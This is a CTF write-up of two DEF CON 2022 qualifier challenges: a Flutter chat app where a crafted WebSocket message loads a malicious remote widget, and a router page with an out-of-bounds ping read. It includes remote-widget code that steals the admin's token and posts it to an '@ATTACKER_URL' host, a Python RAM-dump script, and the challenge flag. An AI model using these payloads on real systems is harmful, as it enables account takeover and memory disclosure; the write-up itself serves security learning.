# DEF CON CTF 2022 Qualifiers

I played this CTF with [Tea MSG](https://ctftime.org/team/154535), and we got 26th place - not too shabby!

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FwsGQpReoXJLB2AcWIGYL%2FScreenshot%202022-06-02%20at%207.29.42%20PM.png?alt=media\&token=ccfff9ce-df10-47fb-a43c-11fec22fc26c)

I attempted and contributed to solving [Discoteq](#discoteq-100) and [Router-ni](#router-ni-81).

## Discoteq \[100]

### Credits

Thanks to Ocean, quanyang, kokrui and waituck for the great teamwork here!:thumbsup:

### TL;DR

This was a Flutter-based chat application where we could send the admin any message that he would read. By manipulating Websocket requests, we could make the client load a malicious [remote Flutter widget](https://github.com/flutter/packages/tree/main/packages/rfw) that would steal the admin's token and send it back to us.

### Initial Observations

I was new to Flutter, so some time was spent analysing the `main.dart.js`, which is the Flutter app compiled by `dart2js`.

Although we can't view it from our end, we could see that there is an `AdminPage`, and a `/api/flag` endpoint that is fetched using `postRequestWithCookies`.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FIWWsjt2Qe0DqIx1g8XoX%2FScreenshot%202022-06-02%20at%207.49.45%20PM.png?alt=media\&token=c480da7f-2dc1-4a24-b189-63e01e3340c0)

It might help to find some other sensitive endpoints. In `LoginPage`, we could see that there is a `/api/token` endpoint. This endpoint returns our current authentication token.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FaO3J4ayhHK8Zl5dvObPU%2FScreenshot%202022-06-02%20at%208.00.19%20PM.png?alt=media\&token=467f4ef9-1972-462e-8ca3-77d4959309d6)

Now, let's take a look at the application itself! The goal was to send an exploit to the `admin#13371337` user. There were two main features - sending a normal message and sending a poll.&#x20;

When sending a poll, I noticed that there were some very suspicious parameters in the WebSocket message. By modifying the `apiGet` and `apiVote` paths, we get a callback on our server!

```json
{
    "type":"widget",
    "widget":"/widget/poll",
    "author":{
        "user":"test#9b808596",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "title":"test",
        "apiGet":"@ATTACKER_URL",
        "apiVote":"@ATTACKER_URL"
    }
}
```

The `widget`, `apiGet`, and `apiVote` paths are appended to the base URL without sanitization - so using `@ATTACKER_URL` causes the following URL to be constructed:

`http://BASE_URL@ATTACKER_URL`

I tried some XSS payloads, hoping that the poll wasn't sanitized. Alas, a Flutter web app is entirely rendered on a `<canvas>`, so rendering unescaped HTML was hopeless.

I then tried to manipulate the `widget` parameter instead.

```json
{
    "type":"widget",
    "widget":"@ATTACKER_URL/test",
    "author":{
        "user":"abcd#c7e80dd5",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "message":"test"
    }
}
```

Aha! This causes a traceback!

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2F0Scv8CiQUlCpTTCbOQq0%2Fimage.png?alt=media\&token=82ca31f7-a264-481f-aff4-9a4a9be847d1)

Note: to avoid CORS issues, use the `Access-Control-Allow-Origin: *` header. For example, in Flask:

```python
@app.after_request
def after_request(response):
  response.headers['Access-Control-Allow-Methods']='*'
  response.headers['Access-Control-Allow-Origin']='*'
  response.headers['Vary']='Origin'
  return response
```

### What Even Is a Remote Flutter Widget?!

Ok so umm... I couldn't find this file signature anywhere, so the first step is to figure out what file format the file is expected to be in. We could download the original `/widget/chatmessage` widget and take a look:

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FGmJIs8UwX4PWkLTz5Y7I%2Fimage.png?alt=media\&token=fc2d9e96-eeb5-4f67-9cc8-5d92cdb34f0c)

This definitely contains styling and content information, but it isn't in an easily editable format.

&#x20;At this point my teammate kokrui found that this file was compiled with a package called [Remote Flutter Widgets](https://pub.dev/packages/rfw), which allows the loading of widgets hosted on external servers.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fr99zKvZQHGsgLG9D7Vwg%2FScreenshot%202022-06-02%20at%208.22.13%20PM.png?alt=media\&token=3778f1bb-4c69-4db5-8a4f-b45035f42acd)

By following the examples [on GitHub](https://github.com/flutter/packages/tree/main/packages/rfw), we could decode the `chatmessage` widget.&#x20;

```dart
import 'dart:convert';
import 'dart:io';
import 'dart:typed_data';

import 'package:rfw/formats.dart';

void main() {
  final Uint8List test = File('chatmessage.rfw').readAsBytesSync();
  var out = decodeLibraryBlob(test);
  print(out);
}
```

Ocean also found the `pollmessage` and `imagemessage` widgets.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FhvYxBoulQW6mdeN4I8sX%2FScreenshot%202022-06-02%20at%208.32.09%20PM.png?alt=media\&token=891ac331-4ac0-4d59-95c0-e33c597a88dc)

There is rather limited documentation and examples of the RFW syntax, so I followed the [`parseLibraryFile` documentation](https://pub.dev/documentation/rfw/latest/formats/parseLibraryFile.html), which seems to provide the most examples.

We tried various things, including this futile attempt to call the `Clipboard_getData` function we found in `main.dart.js`.

```dart
import core.widgets;
import local;

widget root = Container(
  color: 0xFFF,
  child: Center(
    child: Text(text: [
      "Hello, ", 
      data.author.user, 
      Clipboard_getData(format: "text/plain"), 
      " this is working!!"
    ], textDirection: "ltr"),
  ),
);
```

### onLoaded: Flag Please

Taking a closer look at `poll.dart` gave us some ideas.

```dart
// poll widget
import core.widgets;
import core.material;
import local;

widget root = Container({
  child: Column({
    children: [
      
      ...
      
      switch state.loaded {
        true: Column({
          children: [...for loop in data.poll_options:
            Row({
              children: [
                Padding({
                  child: ElevatedButton({
                    child: Text({
                      text: loop0.text
                    }),
                    onPressed: event api_post {
                      path: data.data.apiVote,
                      body: {selection: loop0.text}
                    }
                  }),
                  padding: [0.0, 5.0, 10.0, 0.0]
                }),
                Text({
                  text: loop0.count
                })
              ]}),
            
            ...
            
          ]
        }),
      null: ApiMapper({
        url: data.data.apiGet,
        jsonKey: options,
        dataKey: poll_options,
        onLoaded: set state.loaded = true
      })
    }]
  })
```

Notice that `ApiMapper` makes a GET request to the specified `apiGet` URL. The response data is then saved in `data.<dataKey>`, as we can see from the loop accessing `data.poll_options`.

Further, the `onPressed` event handler, `api_post`, seemingly provides a mechanism for us to exfiltrate our data.

For example, the following will fetch the poll options and exfiltrate them to `example.com`.

```dart
import core.widgets;
import core.material;
import local;

widget root { loaded: false } = Container(
  color: 0xFFF,
  child:
      switch state.loaded {
        true: 
          TextButton(
            child: Text(
              text: "HI",
            ),
            onPressed: event "api_post" {
              path: "@example.com",
              body: {
                selection: data.apiData
              }
            }
          ),
        false:
          ApiMapper(
            url: "/api/poll/options?poll=4b06175d-7f78-44b1-a132-183d6707a33a",
            jsonKey: "options",
            dataKey: "apiData",
            onLoaded: set state.loaded = true
          )
      }
);
```

There were still a few problems with this, though. The `/api/flag` endpoint requires a POST request, and `ApiMapper` only does GET requests. Additionally, we needed to make this zero-click.

The first part was simple enough - we just needed to steal the admin's token to authenticate as the admin, so something like this works:

```dart
ApiMapper(
    url: '/api/token',
    jsonKey: 'new_token',
    dataKey: 'token',
    onLoaded: set state.loaded = true
)
```

Next, the `onLoaded` event handler could be used to trigger the `api_post` event for zero-click exfiltration. But this was a bit iffy and only worked in some scenarios, such as the following one.

```dart
import local;
import core.widgets;

widget root { loaded: false }= Container(
    child:
      switch state.loaded {
          true:
              Column(
                children: [
                  Row(children: 
                    Center(children:
                      [
                        Text(text: data.token, textDirection: "ltr"),
                      ]
                    )
                  ),
                  ApiMapper(
                    url: '/api/token',
                    jsonKey: 'new_token',
                    dataKey: 'token',
                    onLoaded: event 'api_post' {
                      path: '@ATTACKER_URL',
                      body: {selection: data.token}
                    }
                  )
                ]
              ),
          false:
              ApiMapper(
                  url: '/api/token',
                  jsonKey: 'new_token',
                  dataKey: 'token',
                  onLoaded: set state.loaded = true
              )
      }
    
);

```

For example, here's me getting my own token.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fqd9YogqlFu1lIiq85ONt%2Fimage.png?alt=media\&token=603e93ab-6664-4a97-b3a6-d148f64959a6)

After getting the admin's token, we just needed to get the flag from `/api/flag`.

## Router-ni \[81]

### Credits

Thanks to Lord\_Idiot, waituck, bbbb and Gladiator for working on this challenge! :tada:

### TL;DR

The webpage provides an interface to a router, which includes a ping functionality.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FFqYtTQKeMpuMg0tXhxSs%2Fimage.png?alt=media\&token=62c55ac6-f92d-42a2-b46f-98a2c3529e3c)

Using the `/ping?id=` endpoint, we get the base64-encoded result of each ping request. Using a sufficiently large `id`, we could get an out-of-bound memory read.

### Solution

By enumerating the `id`, we would find that the ID range that corresponds to the router's RAM is from `18446744073709551463` to `18446744073709551615`. We could dump out the entire RAM this way.

```python
import requests
import base64

URL = "http://router-mlb4ta7v3lwam.shellweplayaga.me:31337/ping?id="
cookies = {'password': 'admin', 'username': 'admin'}

id = 18446744073709551463
decoded = b""

for i in range(152):
    r = requests.get(f"{URL}{id+i}", cookies=cookies)
    data = r.json()
    res = data["result"]
    decoded += base64.b64decode(res)

with open("out.bin", "wb+") as f:
    f.write(decoded)
```

We would find the following string:

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FvpxbHcJzsdkMTRKP7Ora%2FScreenshot%202022-06-02%20at%209.47.09%20PM.png?alt=media\&token=b33475f6-ec18-4bc3-9a5d-459c166d69ba)

and guess that the flag is

`FLAG{r0uter_p0rtals_are_ultimately_impenetrable_because_they_are_real_weird}`
